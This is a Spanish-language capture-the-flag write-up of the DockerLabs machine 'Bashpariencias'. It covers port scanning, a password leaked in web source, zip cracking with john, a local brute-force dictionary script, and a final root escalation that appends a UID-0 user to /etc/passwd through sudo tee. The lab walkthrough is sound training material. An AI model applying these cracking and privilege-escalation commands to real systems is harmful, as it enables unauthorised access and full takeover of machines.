Bashpariencias , DockerLabs
En este reto de DockerLabs aprendemos.
- Scan de puertos
- Bash scripting basico
- Abuso de sudo
Herramientas y recursos
- nmap
- Bucles for
- Mario
- Password cracking john zip2john
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bashpariencias 172.18.0.2
Como observamos en el reporte no encontramos con el puerto 80 y un servidor ssh corriendo en el 8899 con una versión la cual podríamos explotar.
Empiezo por lo mas fácil que es revisar la web del tirón ya me indica algo prometedor pues habla una usuaria con poca experiencia.
Revisando bien toda la web puedo ver que existe una pequeña fuga del nombre de dicha usuaria.
Ahora me fijo directo a ese código.
Tenemos la password de rosa.
Hacemos login por ssh
Intrusion
Una vez logueados con rosa vemos una carpeta en su directorio personal.
Si nos fijamos es un directorio con un guion por nombre.
En el mensaje queda claro como seguir, debemos cracker el archivo zip para obtener la contraseña. Primero nos lo transferimos a nuestra maquina.
1
2
3
python3 -m http.server 9000
zip2john ../../../backup_rosa.zip > zip.hash
john zip.hash
Por otro lado el mensaje queda algo confuso porque nos dice que lo capturemos cuando en realidad lo que vemos es un archivo .zip y debemos crackearlo con john.
Tratemos de ver los procesos que corren……
1
ps -auxf
Vemos que hay un proceso con nombre pass_juan.sh , nos lleva a pensar que esta guardando la contraseña en algún lugar y solo puede ser donde tengamos permisos de escritura en home de rosa que no hay nada , en /tmp o /opt , eso serian los directorios comunes.
Lanzamos y probamos un bucle por si hay suerte.
1
for (( ; ; )) ; do cp /tmp/*.txt /home/rosa ; done
Tenemos suerte en tmp y nos copia un archivo con el mismo pass que obtuvimos del zip.
Movimiento lateral
Ahora nos convertimos en juan.
Como juan vemos que tenemos permisos de sudo en dos binarios tree y cat por tanto ya sabemos que lo que hemos de buscar esta bajo algún directorio de Carlos.
Como vemos nos ocurre lo mismo de antes tenemos dos opciones una mas fácil y otra con la que hemos de hacer uso de un poco de bash scripting.
Visto que tenemos la pass a la vista practiquemos con bash no seamos de los que acudían al rincón del vago en tiempos antiguos.
El mensaje nos dice que olvido lo tres últimos caracteres de su pass , entonces podemos crear otro pequeño bucle de for concatenando letras del abecedario y posteriormente hacer una de dos u otro bucle con while o for probando contra carlos o hacer uso del script que hizo Mario que viene genial para fuerza bruta local en linux.
1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
palabra=chocolate
for c1 in {a..z}; do
for c2 in {a..z}; do
for c3 in {a..z}; do
echo "$palabra${c1}${c2}${c3}" >>dict2.txt
done
done
done
Ahí creamos el diccionario personalizado para la ocasión. Ahora nos faltaría el script para ello lo mas sencillo ir a su github copiarlo y aprovechar que tenemos nano y pegarlo ahí mismo. Entre el dic creado y el script de Mario resolvemos el problema.
Podemos convertirnos en carlos y vemos que tiene permisos de root con el binario tee.
Escalada final
Así que tratamos de crear una nueva entrada para el fichero etc/passwd
1ªCreamosa la pass para el usuario
1
openssl passwd -1 -salt "firstatack" "pass"
2ª La pegamos al fichero
1
printf 'firstatack:$1$firstata$KaJwXv0namG9OzwTOxpN61:0:0:root:/root:/bin/bash\n' | sudo tee -a /etc/passwd
3ª- Hacemos login con el usuario creado.
Gracias por leer
Comments powered by Disqus.